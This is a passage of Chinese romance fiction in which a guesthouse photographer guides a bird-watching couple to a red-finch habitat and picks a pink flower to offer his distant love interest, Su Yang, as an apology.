有些人看似美丽,实则很刑。 跟鸟一样。 —— 最终,那身新中式没在民宿里出现超过48小时,就被迫换成了耐热吸汗的运动衫。 当那双300块钱的家居鞋再次登在脚上时,不出所料又收获了一句意味不明的笑。 “家居鞋。” “爷出门的鞋洗了!”谢白颐呛声回话。 苏漾这两天也不知道怎么,说话举动间都带了极为明显的疏离和讽刺,偶尔收敛了锋芒,尖刀却对着自己扎,与原先的害羞柔软判若两人。 大爷容易健忘,思前想后得不到答案。前几日发生的事情如同被溪流淌过的巨石,经阳光一晒,半点儿水印痕迹也找不到。 他有些后悔自己生了副开朗心肠,哈哈一笑啥事儿忘光,徒留谜团停在原地,在某一刻如同回旋镖般把人绕进云雾里,四下乱撞始终找不到出口方向。 谢白颐的车技一向很稳,今日却开得急。他领着夫妻去往白眉朱雀的栖息地,此处不用爬山,岩石野坡如倾斜的墙壁,走上去无需费什么力气,脚力好的大步迈几下,还能小跑一阵。 他迎着风看向远方,只见几只红色的鸟雀蹦跶得欢,偶尔啄食些说不上名的野花,不禁让职业选手心中一动。 若能抓拍下这些画面放到网上,应当是一组极好的宣发素材。 也不知这些花采回去送给苏漾,能不能换来美人一笑。 考虑到此行是客人主场,凡事皆以服务为先,谢大摄影师故意没把摄相机带来,在此只老老实实地扮演起领路人的角色。 不然以他的德行,高低会拍到太阳下山。 那对夫妻人手一架长焦,听说是在旅行中因摄影结识的。如今相伴了二十多年,还保留了当初照片PK的习惯,非要选出个冠亚军来,还拉着一旁木头似杵着的帅哥来做评委。 谢白颐脑子里还在想着给苏漾摘些什么花赔罪,被二人骤然打断,险些忘到了九霄云外。 临近日薄西山,车轮子在沙土上碾压出一段痕迹后,才猛地想起来这茬。 他拉起手刹,转头向二位客人赔笑说:“不好意思,我突然想起来有个东西落山上了,请你们稍微等会儿。” 家居鞋在野坡上跑出畅快的风,他双手撑在岩壁,赶在余晖消散前摘下了那枝火草花。 淡淡的粉色攥在手心,如同抓住了飘扬风中的鸟儿,在鼻尖落下轻柔一吻。 他将花儿带回民宿,找到苏漾,双手递了上去。 阳光在粉色的发丝间敛去最后的光,那双明亮清澈的眸子一动,点亮了半边夜幕,灿若星辰。 从此谢白颐的心里多了一个印记。 所有粉色相关,皆是苏大老板的模样。